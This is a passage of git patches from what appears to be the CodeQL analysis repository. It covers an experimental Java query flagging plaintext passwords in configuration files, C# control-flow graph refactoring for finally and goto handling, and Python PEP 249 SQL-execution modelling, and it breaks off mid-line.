--git a/javascript/change-notes/2020-12-09-external-flow-sources.md b/javascript/change-notes/2020-12-09-external-flow-sources.md new file mode 100644 index 00000000000..57df56294af --- /dev/null +++ b/javascript/change-notes/2020-12-09-external-flow-sources.md @@ -0,0 +1,2 @@ +lgtm,codescanning +* Custom remote flow sources can now be specified by including a file named `codeql-javascript-remote-flow-sources.json` in your code base. See documentation for more details. From e27ccd0a812b6732ca35acbd624f974fc5f7efa5 Mon Sep 17 00:00:00 2001 From: luchua-bc Date: Sun, 13 Dec 2020 02:33:03 +0000 Subject: [PATCH 0240/1241] Format the code and update qldoc --- .../CWE-555/PasswordInConfigurationFile.qhelp | 2 +- .../CWE-555/PasswordInConfigurationFile.ql | 2 +- .../Security/CWE/CWE-555/context.xml | 2 +- .../PasswordInConfigurationFile.expected | 4 +- .../security/CWE-555/applicationContext.xml | 52 +++++++++---------- .../query-tests/security/CWE-555/context.xml | 28 +++------- 6 files changed, 36 insertions(+), 54 deletions(-) diff --git a/java/ql/src/experimental/Security/CWE/CWE-555/PasswordInConfigurationFile.qhelp b/java/ql/src/experimental/Security/CWE/CWE-555/PasswordInConfigurationFile.qhelp index 0a640533b09..431bc174953 100644 --- a/java/ql/src/experimental/Security/CWE/CWE-555/PasswordInConfigurationFile.qhelp +++ b/java/ql/src/experimental/Security/CWE/CWE-555/PasswordInConfigurationFile.qhelp @@ -30,7 +30,7 @@

  • RedHat Security Guide: - STORE AND RETRIEVE ENCRYPTED SENSITIVE STRINGS IN THE JAVA KEYSTORE + Store and Retrieve Encrypted Sensitive Strings in the Java Keystore
  • SonarSource: diff --git a/java/ql/src/experimental/Security/CWE/CWE-555/PasswordInConfigurationFile.ql b/java/ql/src/experimental/Security/CWE/CWE-555/PasswordInConfigurationFile.ql index 4a25de30fdc..75928cd01a3 100644 --- a/java/ql/src/experimental/Security/CWE/CWE-555/PasswordInConfigurationFile.ql +++ b/java/ql/src/experimental/Security/CWE/CWE-555/PasswordInConfigurationFile.ql @@ -34,4 +34,4 @@ where ) or a.getValue().regexpMatch("(?is).*(pwd|password)\\s*=(?!\\s*;).*") // Attribute value matches password pattern -select a, "Avoid plaintext passwords in configuration files." +select a, "Plaintext passwords in configuration files." diff --git a/java/ql/src/experimental/Security/CWE/CWE-555/context.xml b/java/ql/src/experimental/Security/CWE/CWE-555/context.xml index a627ba2d43d..8b45d06d253 100644 --- a/java/ql/src/experimental/Security/CWE/CWE-555/context.xml +++ b/java/ql/src/experimental/Security/CWE/CWE-555/context.xml @@ -1,6 +1,6 @@ - + - - - - - - - - - - - - + + + + + + - - - - - - com.example.entity.Users - - - - - + + + + + + + + + + + com.example.entity.Users + + + + + hibernate.dialect=org.hibernate.dialect.MySQLDialect hibernate.hbm2ddl.auto=update hibernate.show_sql=true @@ -34,6 +32,6 @@ hibernate.cache.provider_class=org.hibernate.cache.internal.NoCacheProvider hibernate.generate_statistics=true - - + + diff --git a/java/ql/test/experimental/query-tests/security/CWE-555/context.xml b/java/ql/test/experimental/query-tests/security/CWE-555/context.xml index 1b3f987ce2d..69bf6da9303 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-555/context.xml +++ b/java/ql/test/experimental/query-tests/security/CWE-555/context.xml @@ -1,31 +1,15 @@ - - + + - + - + - - + + From d469e9b24ef7c037f444904558253777cafb6d74 Mon Sep 17 00:00:00 2001 From: luchua-bc Date: Sun, 13 Dec 2020 21:15:18 +0000 Subject: [PATCH 0241/1241] Format the code and minor text change --- .../CWE-555/PasswordInConfigurationFile.ql | 2 +- .../PasswordInConfigurationFile.expected | 4 +-- .../query-tests/security/CWE-555/context.xml | 35 +++++++++++++------ 3 files changed, 28 insertions(+), 13 deletions(-) diff --git a/java/ql/src/experimental/Security/CWE/CWE-555/PasswordInConfigurationFile.ql b/java/ql/src/experimental/Security/CWE/CWE-555/PasswordInConfigurationFile.ql index 75928cd01a3..da257b947f1 100644 --- a/java/ql/src/experimental/Security/CWE/CWE-555/PasswordInConfigurationFile.ql +++ b/java/ql/src/experimental/Security/CWE/CWE-555/PasswordInConfigurationFile.ql @@ -34,4 +34,4 @@ where ) or a.getValue().regexpMatch("(?is).*(pwd|password)\\s*=(?!\\s*;).*") // Attribute value matches password pattern -select a, "Plaintext passwords in configuration files." +select a, "Plaintext password in configuration file." diff --git a/java/ql/test/experimental/query-tests/security/CWE-555/PasswordInConfigurationFile.expected b/java/ql/test/experimental/query-tests/security/CWE-555/PasswordInConfigurationFile.expected index 0e446e3bbb2..f3e3e3b9e74 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-555/PasswordInConfigurationFile.expected +++ b/java/ql/test/experimental/query-tests/security/CWE-555/PasswordInConfigurationFile.expected @@ -1,2 +1,2 @@ -| applicationContext.xml:9:3:9:48 | name=password | Plaintext passwords in configuration files. | -| context.xml:4:5:4:253 | password=1234 | Plaintext passwords in configuration files. | +| applicationContext.xml:9:3:9:48 | name=password | Plaintext password in configuration file. | +| context.xml:4:2:8:50 | password=1234 | Plaintext password in configuration file. | diff --git a/java/ql/test/experimental/query-tests/security/CWE-555/context.xml b/java/ql/test/experimental/query-tests/security/CWE-555/context.xml index 69bf6da9303..6ea601bc6d7 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-555/context.xml +++ b/java/ql/test/experimental/query-tests/security/CWE-555/context.xml @@ -1,15 +1,30 @@ - - + + - - + + - - + + - - - - + + + \ No newline at end of file From 0b2233155c50a4c0ab258b4bef6430a6047a4755 Mon Sep 17 00:00:00 2001 From: Tom Hvitved Date: Tue, 8 Dec 2020 14:08:17 +0100 Subject: [PATCH 0242/1241] C#: Simplify CFG logic for `finally` blocks --- .../internal/ControlFlowGraphImpl.qll | 85 ++++++++----------- .../controlflow/graph/ExitElement.expected | 2 - 2 files changed, 34 insertions(+), 53 deletions(-) diff --git a/csharp/ql/src/semmle/code/csharp/controlflow/internal/ControlFlowGraphImpl.qll b/csharp/ql/src/semmle/code/csharp/controlflow/internal/ControlFlowGraphImpl.qll index 958d17410e5..6ca704078a8 100644 --- a/csharp/ql/src/semmle/code/csharp/controlflow/internal/ControlFlowGraphImpl.qll +++ b/csharp/ql/src/semmle/code/csharp/controlflow/internal/ControlFlowGraphImpl.qll @@ -108,7 +108,7 @@ private predicate goto(ControlFlowElement cfe, GotoCompletion gc, string label, // Special case: when a `goto` happens inside a `try` statement with a // `finally` block, flow does not go directly to the target, but instead // to the `finally` block (and from there possibly to the target) - not cfe = any(Statements::TryStmtTree t | t.hasFinally()).getBlockOrCatchFinallyPred(_) and + not cfe = any(Statements::TryStmtTree t | t.hasFinally()).getAFinallyPredecessor(_, true) and label = gc.getLabel() and enclosing = cfe.getEnclosingCallable() } @@ -1355,26 +1355,30 @@ module Statements { /** * Gets a last element from a `try` or `catch` block of this `try` statement * that may finish with completion `c`, such that control may be transferred - * to the `finally` block (if it exists). + * to the `finally` block (if it exists), but only if `finalizable = true`. */ pragma[nomagic] - ControlFlowElement getBlockOrCatchFinallyPred(Completion c) { - this.lastBlock(result, c) and + ControlFlowElement getAFinallyPredecessor(Completion c, boolean finalizable) { + // Exit completions skip the `finally` block + (if c instanceof ExitCompletion then finalizable = false else finalizable = true) and ( - // Any non-throw completion from the `try` block will always continue directly - // to the `finally` block - not c instanceof ThrowCompletion + this.lastBlock(result, c) and + ( + // Any non-throw completion from the `try` block will always continue directly + // to the `finally` block + not c instanceof ThrowCompletion + or + // Any completion from the `try` block will continue to the `finally` block + // when there are no catch clauses + not exists(this.getACatchClause()) + ) or - // Any completion from the `try` block will continue to the `finally` block - // when there are no catch clauses - not exists(this.getACatchClause()) + // Last element from any of the `catch` clause blocks continues to the `finally` block + result = lastCatchClauseBlock(this.getACatchClause(), c) + or + // Last element of last `catch` clause continues to the `finally` block + result = lastLastCatchClause(this.getACatchClause(), c) ) - or - // Last element from any of the `catch` clause blocks continues to the `finally` block - result = lastCatchClauseBlock(this.getACatchClause(), c) - or - // Last element of last `catch` clause continues to the `finally` block - result = lastLastCatchClause(this.getACatchClause(), c) } pragma[nomagic] @@ -1387,19 +1391,19 @@ module Statements { ControlFlowElement last, NormalCompletion finally, Completion outer, int nestLevel ) { this.lastFinally0(last, finally) and - exists(this.getBlockOrCatchFinallyPred(any(Completion c0 | outer = c0.getOuterCompletion()))) and + exists( + this.getAFinallyPredecessor(any(Completion c0 | outer = c0.getOuterCompletion()), true) + ) and nestLevel = this.nestLevel() } final override predicate last(ControlFlowElement last, Completion c) { - last = this.getBlockOrCatchFinallyPred(c) and - ( + exists(boolean finalizable | last = this.getAFinallyPredecessor(c, finalizable) | // If there is no `finally` block, last elements are from the body, from // the blocks of one of the `catch` clauses, or from the last `catch` clause not this.hasFinally() or - // Exit completions ignore the `finally` block - c instanceof ExitCompletion + finalizable = false ) or this.lastFinally(last, c, any(NormalCompletion nc), _) @@ -1433,43 +1437,22 @@ module Statements { first(this.getCatchClause(0), succ) or exists(CatchClause cc, int i | cc = this.getCatchClause(i) | + // Flow from one `catch` clause to the next pred = cc and last(this.getCatchClause(i), cc, c) and - ( - // Flow from one `catch` clause to the next - first(this.getCatchClause(i + 1), succ) and - c = any(MatchingCompletion mc | not mc.isMatch()) - or - // Flow from last `catch` clause to first element of `finally` block - this.getCatchClause(i).isLast() and - first(this.getFinally(), succ) and - c instanceof ThrowCompletion // inherited from `try` block - ) + first(this.getCatchClause(i + 1), succ) and + c = any(MatchingCompletion mc | not mc.isMatch()) or + // Flow from last element of `catch` clause filter to next `catch` clause last(this.getCatchClause(i), pred, c) and last(cc.getFilterClause(), pred, _) and - ( - // Flow from last element of `catch` clause filter to next `catch` clause - first(this.getCatchClause(i + 1), succ) and - c instanceof FalseCompletion - or - // Flow from last element of `catch` clause filter, of last clause, to first - // element of `finally` block - this.getCatchClause(i).isLast() and - first(this.getFinally(), succ) and - c instanceof ThrowCompletion // inherited from `try` block - ) - or - // Flow from last element of a `catch` block to first element of `finally` block - pred = lastCatchClauseBlock(cc, c) and - first(this.getFinally(), succ) + first(this.getCatchClause(i + 1), succ) and + c instanceof FalseCompletion ) or - // Flow from last element of `try` block to first element of `finally` block - this.lastBlock(pred, c) and - first(this.getFinally(), succ) and - not c instanceof ExitCompletion and - (c instanceof ThrowCompletion implies not exists(this.getACatchClause())) + // Flow into `finally` block + pred = getAFinallyPredecessor(c, true) and + first(this.getFinally(), succ) } } diff --git a/csharp/ql/test/library-tests/controlflow/graph/ExitElement.expected b/csharp/ql/test/library-tests/controlflow/graph/ExitElement.expected index c8b10cfa4da..f389324db3b 100644 --- a/csharp/ql/test/library-tests/controlflow/graph/ExitElement.expected +++ b/csharp/ql/test/library-tests/controlflow/graph/ExitElement.expected @@ -1537,9 +1537,7 @@ | ExitMethods.cs:88:9:88:28 | ...; | ExitMethods.cs:88:9:88:27 | call to method Exit | exit | | ExitMethods.cs:88:26:88:26 | 0 | ExitMethods.cs:88:26:88:26 | 0 | normal | | ExitMethods.cs:92:5:102:5 | {...} | ExitMethods.cs:95:13:95:18 | call to method Exit | exit | -| ExitMethods.cs:92:5:102:5 | {...} | ExitMethods.cs:100:13:100:40 | call to method WriteLine | exit [normal] (0) | | ExitMethods.cs:93:9:101:9 | try {...} ... | ExitMethods.cs:95:13:95:18 | call to method Exit | exit | -| ExitMethods.cs:93:9:101:9 | try {...} ... | ExitMethods.cs:100:13:100:40 | call to method WriteLine | exit [normal] (0) | | ExitMethods.cs:94:9:96:9 | {...} | ExitMethods.cs:95:13:95:18 | call to method Exit | exit | | ExitMethods.cs:95:13:95:18 | call to method Exit | ExitMethods.cs:95:13:95:18 | call to method Exit | exit | | ExitMethods.cs:95:13:95:18 | this access | ExitMethods.cs:95:13:95:18 | this access | normal | From 06d42dac3e99ad41d5fe8245c8ebae1f92643acb Mon Sep 17 00:00:00 2001 From: Tom Hvitved Date: Tue, 8 Dec 2020 14:08:39 +0100 Subject: [PATCH 0243/1241] C#: Use set literals in `Splitting.qll` --- .../semmle/code/csharp/controlflow/internal/Splitting.qll | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/csharp/ql/src/semmle/code/csharp/controlflow/internal/Splitting.qll b/csharp/ql/src/semmle/code/csharp/controlflow/internal/Splitting.qll index ec52d38d9e6..cc8e07a264c 100644 --- a/csharp/ql/src/semmle/code/csharp/controlflow/internal/Splitting.qll +++ b/csharp/ql/src/semmle/code/csharp/controlflow/internal/Splitting.qll @@ -703,7 +703,7 @@ module FinallySplitting { } int getNextListOrder() { - result = max(int i | i = getListOrder(_) + 1 or i = AssertionSplitting::getNextListOrder()) + result = max([getListOrder(_) + 1, AssertionSplitting::getNextListOrder()]) } private class FinallySplitKind extends SplitKind, TFinallySplitKind { @@ -1209,8 +1209,7 @@ module BooleanSplitting { } int getNextListOrder() { - result = - max(int i | i = getListOrder(_) + 1 or i = ExceptionHandlerSplitting::getNextListOrder()) + result = max([getListOrder(_) + 1, ExceptionHandlerSplitting::getNextListOrder()]) } private class BooleanSplitKind extends SplitKind, TBooleanSplitKind { @@ -1433,7 +1432,7 @@ module LoopSplitting { } int getNextListOrder() { - result = max(int i | i = getListOrder(_) + 1 or i = BooleanSplitting::getNextListOrder()) + result = max([getListOrder(_) + 1, BooleanSplitting::getNextListOrder()]) } private class LoopSplitKind extends SplitKind, TLoopSplitKind { From a92404a6cd4301e4871fe385a3550cb0ee1a582b Mon Sep 17 00:00:00 2001 From: Tom Hvitved Date: Tue, 8 Dec 2020 15:34:45 +0100 Subject: [PATCH 0244/1241] C#: Add `LabeledStmtTree` for goto CFG edges --- .../internal/ControlFlowGraphImpl.qll | 83 ++++++++++++------- 1 file changed, 51 insertions(+), 32 deletions(-) diff --git a/csharp/ql/src/semmle/code/csharp/controlflow/internal/ControlFlowGraphImpl.qll b/csharp/ql/src/semmle/code/csharp/controlflow/internal/ControlFlowGraphImpl.qll index 6ca704078a8..08b3bfa389c 100644 --- a/csharp/ql/src/semmle/code/csharp/controlflow/internal/ControlFlowGraphImpl.qll +++ b/csharp/ql/src/semmle/code/csharp/controlflow/internal/ControlFlowGraphImpl.qll @@ -96,23 +96,6 @@ predicate last(ControlFlowTree cft, ControlFlowElement last, Completion c) { ) } -pragma[noinline] -private LabeledStmt getLabledStmt(string label, Callable c) { - result.getEnclosingCallable() = c and - label = result.getLabel() -} - -pragma[nomagic] -private predicate goto(ControlFlowElement cfe, GotoCompletion gc, string label, Callable enclosing) { - last(_, cfe, gc) and - // Special case: when a `goto` happens inside a `try` statement with a - // `finally` block, flow does not go directly to the target, but instead - // to the `finally` block (and from there possibly to the target) - not cfe = any(Statements::TryStmtTree t | t.hasFinally()).getAFinallyPredecessor(_, true) and - label = gc.getLabel() and - enclosing = cfe.getEnclosingCallable() -} - /** * Holds if `succ` is a control flow successor for `pred`, given that `pred` * finishes with completion `c`. @@ -136,13 +119,6 @@ predicate succ(ControlFlowElement pred, ControlFlowElement succ, Completion c) { m = InitializerSplitting::lastConstructorInitializer(con) and first(con.getBody(), succ) ) - or - // Flow from element with `goto` completion to first element of relevant - // target - exists(string label, Callable enclosing | - goto(pred, c, label, enclosing) and - first(getLabledStmt(label, enclosing), succ) - ) } /** Holds if `first` is first executed when entering `scope`. */ @@ -933,18 +909,18 @@ module Statements { // The following statements need special treatment not this instanceof IfStmt and not this instanceof SwitchStmt and - (this instanceof DefaultCase or not this instanceof CaseStmt) and + not this instanceof CaseStmt and not this instanceof LoopStmt and not this instanceof TryStmt and not this instanceof SpecificCatchClause and - not this instanceof JumpStmt + not this instanceof JumpStmt and + not this instanceof LabeledStmt } private ControlFlowTree getChildElement0(int i) { not this instanceof GeneralCatchClause and not this instanceof FixedStmt and not this instanceof UsingBlockStmt and - not this instanceof DefaultCase and result = this.getChild(i) or this = any(GeneralCatchClause gcc | i = 0 and result = gcc.getBlock()) @@ -967,9 +943,6 @@ module Statements { result = us.getBody() and i = max([1, count(us.getVariableDeclExpr(_))]) ) - or - result = this.(DefaultCase).getStmt() and - i = 0 } final override ControlFlowTree getChildElement(int i) { @@ -1045,8 +1018,9 @@ module Statements { last(this.getStmt(_), last, c) and not c instanceof BreakCompletion and not c instanceof NormalCompletion and - not getLabledStmt(c.(GotoCompletion).getLabel(), this.getEnclosingCallable()) instanceof - CaseStmt + not any(LabeledStmtTree t | + t.hasLabelInCallable(c.(GotoCompletion).getLabel(), this.getEnclosingCallable()) + ) instanceof CaseStmt or // Last case exits with a non-match exists(CaseStmt cs, int last_ | @@ -1570,6 +1544,51 @@ module Statements { c instanceof NormalCompletion } } + + pragma[nomagic] + private predicate goto(ControlFlowElement cfe, GotoCompletion gc, string label, Callable enclosing) { + last(_, cfe, gc) and + // Special case: when a `goto` happens inside a `try` statement with a + // `finally` block, flow does not go directly to the target, but instead + // to the `finally` block (and from there possibly to the target) + not cfe = any(Statements::TryStmtTree t | t.hasFinally()).getAFinallyPredecessor(_, true) and + label = gc.getLabel() and + enclosing = cfe.getEnclosingCallable() + } + + private class LabeledStmtTree extends PreOrderTree, LabeledStmt { + final override predicate propagatesAbnormal(ControlFlowElement child) { none() } + + final override predicate last(ControlFlowElement last, Completion c) { + if this instanceof DefaultCase + then last(this.getStmt(), last, c) + else ( + not this instanceof CaseStmt and + last = this and + c.isValidFor(this) + ) + } + + pragma[noinline] + predicate hasLabelInCallable(string label, Callable c) { + this.getEnclosingCallable() = c and + label = this.getLabel() + } + + final override predicate succ(ControlFlowElement pred, ControlFlowElement succ, Completion c) { + this instanceof DefaultCase and + pred = this and + first(this.getStmt(), succ) and + c instanceof SimpleCompletion + or + // Flow from element with matching `goto` completion to this statement + exists(string label, Callable enclosing | + goto(pred, c, label, enclosing) and + this.hasLabelInCallable(label, enclosing) and + succ = this + ) + } + } } cached From 18f7dbe8658bff6dc7c291804afee7964cb829f7 Mon Sep 17 00:00:00 2001 From: Rasmus Wriedt Larsen Date: Mon, 14 Dec 2020 10:17:11 +0100 Subject: [PATCH 0245/1241] Python: Adjust PEP249 QLDocs --- .../src/semmle/python/frameworks/PEP249.qll | 19 ++++++++++--------- 1 file changed, 10 insertions(+), 9 deletions(-) diff --git a/python/ql/src/semmle/python/frameworks/PEP249.qll b/python/ql/src/semmle/python/frameworks/PEP249.qll index 190de480711..ce292707639 100644 --- a/python/ql/src/semmle/python/frameworks/PEP249.qll +++ b/python/ql/src/semmle/python/frameworks/PEP249.qll @@ -62,11 +62,11 @@ module Connection { } /** - * Provides models for the `db.Connection.cursor` method. + * Provides models for the `cursor` method on a connection. * See https://www.python.org/dev/peps/pep-0249/#cursor. */ module cursor { - /** Gets a reference to the `db.connection.cursor` method. */ + /** Gets a reference to the `cursor` method on a connection. */ private DataFlow::Node methodRef(DataFlow::TypeTracker t) { t.startInAttr("cursor") and result = Connection::instance() @@ -74,10 +74,10 @@ module cursor { exists(DataFlow::TypeTracker t2 | result = methodRef(t2).track(t2, t)) } - /** Gets a reference to the `db.connection.cursor` metod. */ + /** Gets a reference to the `cursor` method on a connection. */ DataFlow::Node methodRef() { result = methodRef(DataFlow::TypeTracker::end()) } - /** Gets a reference to a result of calling `db.connection.cursor`. */ + /** Gets a reference to a result of calling the `cursor` method on a connection. */ private DataFlow::Node methodResult(DataFlow::TypeTracker t) { t.start() and result.asCfgNode().(CallNode).getFunction() = methodRef().asCfgNode() @@ -85,12 +85,12 @@ module cursor { exists(DataFlow::TypeTracker t2 | result = methodResult(t2).track(t2, t)) } - /** Gets a reference to a result of calling `db.connection.cursor`. */ + /** Gets a reference to a result of calling the `cursor` method on a connection. */ DataFlow::Node methodResult() { result = methodResult(DataFlow::TypeTracker::end()) } } /** - * Gets a reference to the `db.Connection.Cursor.execute` function. + * Gets a reference to the `execute` method on a cursor. * See https://www.python.org/dev/peps/pep-0249/#id15. */ private DataFlow::Node execute(DataFlow::TypeTracker t) { @@ -101,15 +101,16 @@ private DataFlow::Node execute(DataFlow::TypeTracker t) { } /** - * Gets a reference to the `db.Connection.Cursor.execute` function. + * Gets a reference to the `execute` method on a cursor. * See https://www.python.org/dev/peps/pep-0249/#id15. */ DataFlow::Node execute() { result = execute(DataFlow::TypeTracker::end()) } -private class DbConnectionExecute extends SqlExecution::Range, DataFlow::CfgNode { +/** A call to the `execute` method on a cursor. */ +private class ExecuteCall extends SqlExecution::Range, DataFlow::CfgNode { override CallNode node; - DbConnectionExecute() { node.getFunction() = execute().asCfgNode() } + ExecuteCall() { node.getFunction() = execute().asCfgNode() } override DataFlow::Node getSql() { result.asCfgNode() in [node.getArg(0), node.getArgByName("sql")] From 8d8e92eb091be710783dda15a5723d306b600990 Mon Sep 17 00:00:00 2001 From: Rasmus Wriedt Larsen Date: Mon, 14 Dec 2020 10:33:10 +0100 Subject: [PATCH 0246/1241] Python: Model `execute` on a DB connection --- .../ql/src/semmle/python/frameworks/PEP249.qll | 16 ++++++++++++---- .../library-tests/frameworks/stdlib/pep249.py | 2 +- 2 files changed, 13 insertions(+), 5 deletions(-) diff --git a/python/ql/src/semmle/python/frameworks/PEP249.qll b/python/ql/src/semmle/python/frameworks/PEP249.qll index ce292707639..c84c15281be 100644 --- a/python/ql/src/semmle/python/frameworks/PEP249.qll +++ b/python/ql/src/semmle/python/frameworks/PEP249.qll @@ -90,23 +90,31 @@ module cursor { } /** - * Gets a reference to the `execute` method on a cursor. + * Gets a reference to the `execute` method on a cursor (or on a connection). + * + * Note: while `execute` method on a connection is not part of PEP249, if it is used, we + * recognize it as an alias for constructing a cursor and calling `execute` on it. + * * See https://www.python.org/dev/peps/pep-0249/#id15. */ private DataFlow::Node execute(DataFlow::TypeTracker t) { t.startInAttr("execute") and - result = cursor::methodResult() + result in [cursor::methodResult(), Connection::instance()] or exists(DataFlow::TypeTracker t2 | result = execute(t2).track(t2, t)) } /** - * Gets a reference to the `execute` method on a cursor. + * Gets a reference to the `execute` method on a cursor (or on a connection). + * + * Note: while `execute` method on a connection is not part of PEP249, if it is used, we + * recognize it as an alias for constructing a cursor and calling `execute` on it. + * * See https://www.python.org/dev/peps/pep-0249/#id15. */ DataFlow::Node execute() { result = execute(DataFlow::TypeTracker::end()) } -/** A call to the `execute` method on a cursor. */ +/** A call to the `execute` method on a cursor (or on a connection). */ private class ExecuteCall extends SqlExecution::Range, DataFlow::CfgNode { override CallNode node; diff --git a/python/ql/test/experimental/library-tests/frameworks/stdlib/pep249.py b/python/ql/test/experimental/library-tests/frameworks/stdlib/pep249.py index 3e3492438c8..3b82e5fb61a 100644 --- a/python/ql/test/experimental/library-tests/frameworks/stdlib/pep249.py +++ b/python/ql/test/experimental/library-tests/frameworks/stdlib/pep249.py @@ -2,7 +2,7 @@ import sqlite3 db = sqlite3.connect("example.db") # non standard -db.execute("some sql", (42,)) # $ MISSING: getSql="some sql" +db.execute("some sql", (42,)) # $ getSql="some sql" cursor = db.cursor() cursor.execute("some sql", (42,)) # $ getSql="some sql" From bb637f666c94d2da35892b852c2f52fbd6a7b617 Mon Sep 17 00:00:00 2001 From: Tom Hvitved Date: Tue, 8 Dec 2020 20:22:05 +0100 Subject: [PATCH 0247/1241] C#: Introduce `CfgScope` class and generalize `ControlFlowTree` to include callables --- .../code/csharp/controlflow/BasicBlocks.qll | 17 ++--- .../internal/ControlFlowGraphImpl.qll | 66 +++++++++++----- .../controlflow/internal/PreBasicBlocks.qll | 8 +- .../csharp/controlflow/internal/PreSsa.qll | 6 +- .../csharp/controlflow/internal/Splitting.qll | 76 +++++++++---------- .../rangeanalysis/ModulusAnalysisSpecific.qll | 17 ++--- .../frameworks/test/Test.expected | 27 ++++--- 7 files changed, 119 insertions(+), 98 deletions(-) diff --git a/csharp/ql/src/semmle/code/csharp/controlflow/BasicBlocks.qll b/csharp/ql/src/semmle/code/csharp/controlflow/BasicBlocks.qll index 341e72eafa5..4e87ac445c8 100644 --- a/csharp/ql/src/semmle/code/csharp/controlflow/BasicBlocks.qll +++ b/csharp/ql/src/semmle/code/csharp/controlflow/BasicBlocks.qll @@ -390,19 +390,14 @@ class ExitBasicBlock extends BasicBlock { private module JoinBlockPredecessors { private import ControlFlow::Nodes - - private class CallableOrCFE extends Element { - CallableOrCFE() { this instanceof Callable or this instanceof ControlFlowElement } - } - - private predicate id(CallableOrCFE x, CallableOrCFE y) { x = y } - - private predicate idOf(CallableOrCFE x, int y) = equivalenceRelation(id/2)(x, y) + private import semmle.code.csharp.controlflow.internal.ControlFlowGraphImpl int getId(JoinBlockPredecessor jbp) { - idOf(jbp.getFirstNode().(ElementNode).getElement(), result) - or - idOf(jbp.(EntryBasicBlock).getCallable(), result) + exists(ControlFlowTree::Range t | ControlFlowTree::idOf(t, result) | + t = jbp.getFirstNode().getElement() + or + t = jbp.(EntryBasicBlock).getCallable() + ) } string getSplitString(JoinBlockPredecessor jbp) { diff --git a/csharp/ql/src/semmle/code/csharp/controlflow/internal/ControlFlowGraphImpl.qll b/csharp/ql/src/semmle/code/csharp/controlflow/internal/ControlFlowGraphImpl.qll index 08b3bfa389c..a3256941f86 100644 --- a/csharp/ql/src/semmle/code/csharp/controlflow/internal/ControlFlowGraphImpl.qll +++ b/csharp/ql/src/semmle/code/csharp/controlflow/internal/ControlFlowGraphImpl.qll @@ -50,7 +50,20 @@ private import SuccessorTypes private import Splitting private import semmle.code.csharp.ExprOrStmtParent -abstract private class ControlFlowTree extends ControlFlowElement { +/** An element that defines a new CFG scope. */ +class CfgScope extends Element, @top_level_exprorstmt_parent { } + +module ControlFlowTree { + private class Range_ = @callable or @control_flow_element; + + class Range extends Element, Range_ { } + + private predicate id(Range x, Range y) { x = y } + + predicate idOf(Range x, int y) = equivalenceRelation(id/2)(x, y) +} + +abstract private class ControlFlowTree extends ControlFlowTree::Range { /** * Holds if `first` is the first element executed within this control * flow element. @@ -103,26 +116,10 @@ predicate last(ControlFlowTree cft, ControlFlowElement last, Completion c) { pragma[nomagic] predicate succ(ControlFlowElement pred, ControlFlowElement succ, Completion c) { any(ControlFlowTree cft).succ(pred, succ, c) - or - exists(Constructor con, InitializerSplitting::InitializedInstanceMember m, int i | - last(m.getInitializer(), pred, c) and - c instanceof NormalCompletion and - InitializerSplitting::constructorInitializeOrder(con, m, i) - | - // Flow from one member initializer to the next - exists(InitializerSplitting::InitializedInstanceMember next | - InitializerSplitting::constructorInitializeOrder(con, next, i + 1) and - first(next.getInitializer(), succ) - ) - or - // Flow from last member initializer to constructor body - m = InitializerSplitting::lastConstructorInitializer(con) and - first(con.getBody(), succ) - ) } /** Holds if `first` is first executed when entering `scope`. */ -predicate succEntry(@top_level_exprorstmt_parent scope, ControlFlowElement first) { +predicate scopeFirst(CfgScope scope, ControlFlowElement first) { scope = any(Callable c | if exists(c.(Constructor).getInitializer()) @@ -142,7 +139,7 @@ predicate succEntry(@top_level_exprorstmt_parent scope, ControlFlowElement first } /** Holds if `scope` is exited when `last` finishes with completion `c`. */ -predicate succExit(ControlFlowElement last, Callable scope, Completion c) { +predicate scopeLast(Callable scope, ControlFlowElement last, Completion c) { last(scope.getBody(), last, c) and not c instanceof GotoCompletion or @@ -153,6 +150,33 @@ predicate succExit(ControlFlowElement last, Callable scope, Completion c) { ) } +private class CallableTree extends ControlFlowTree, Callable { + final override predicate propagatesAbnormal(ControlFlowElement child) { none() } + + final override predicate first(ControlFlowElement first) { none() } + + final override predicate last(ControlFlowElement last, Completion c) { none() } + + final override predicate succ(ControlFlowElement pred, ControlFlowElement succ, Completion c) { + exists(Constructor con, InitializerSplitting::InitializedInstanceMember m, int i | + this = con and + last(m.getInitializer(), pred, c) and + c instanceof NormalCompletion and + InitializerSplitting::constructorInitializeOrder(con, m, i) + | + // Flow from one member initializer to the next + exists(InitializerSplitting::InitializedInstanceMember next | + InitializerSplitting::constructorInitializeOrder(con, next, i + 1) and + first(next.getInitializer(), succ) + ) + or + // Flow from last member initializer to constructor body + m = InitializerSplitting::lastConstructorInitializer(con) and + first(con.getBody(), succ) + ) + } +} + /** * A control flow element where the children are evaluated following a * standard left-to-right evaluation. The actual evaluation order is @@ -347,7 +371,7 @@ module Expressions { not this instanceof ConstructorInitializer } - final override ControlFlowTree getChildElement(int i) { result = getExprChild(this, i) } + final override ControlFlowElement getChildElement(int i) { result = getExprChild(this, i) } final override predicate first(ControlFlowElement first) { first(this.getFirstChild(), first) @@ -945,7 +969,7 @@ module Statements { ) } - final override ControlFlowTree getChildElement(int i) { + final override ControlFlowElement getChildElement(int i) { result = rank[i + 1](ControlFlowElement cfe, int j | cfe = this.getChildElement0(j) | cfe order by j) } diff --git a/csharp/ql/src/semmle/code/csharp/controlflow/internal/PreBasicBlocks.qll b/csharp/ql/src/semmle/code/csharp/controlflow/internal/PreBasicBlocks.qll index 54b1aedc568..d1398719c15 100644 --- a/csharp/ql/src/semmle/code/csharp/controlflow/internal/PreBasicBlocks.qll +++ b/csharp/ql/src/semmle/code/csharp/controlflow/internal/PreBasicBlocks.qll @@ -19,7 +19,7 @@ private predicate startsBB(ControlFlowElement cfe) { ( succ(cfe, _, _) or - succExit(cfe, _, _) + scopeLast(_, cfe, _) ) or strictcount(ControlFlowElement pred, Completion c | succ(pred, cfe, c)) > 1 @@ -33,7 +33,7 @@ private predicate startsBB(ControlFlowElement cfe) { i > 1 or i = 1 and - succExit(pred, _, _) + scopeLast(_, pred, _) ) } @@ -47,7 +47,7 @@ private predicate bbIndex(ControlFlowElement bbStart, ControlFlowElement cfe, in private predicate succBB(PreBasicBlock pred, PreBasicBlock succ) { succ = pred.getASuccessor() } -private predicate entryBB(PreBasicBlock bb) { succEntry(_, bb) } +private predicate entryBB(PreBasicBlock bb) { scopeFirst(_, bb) } private predicate bbIDominates(PreBasicBlock dom, PreBasicBlock bb) = idominance(entryBB/1, succBB/2)(_, dom, bb) @@ -100,7 +100,7 @@ class ConditionBlock extends PreBasicBlock { exists(Completion c | c = 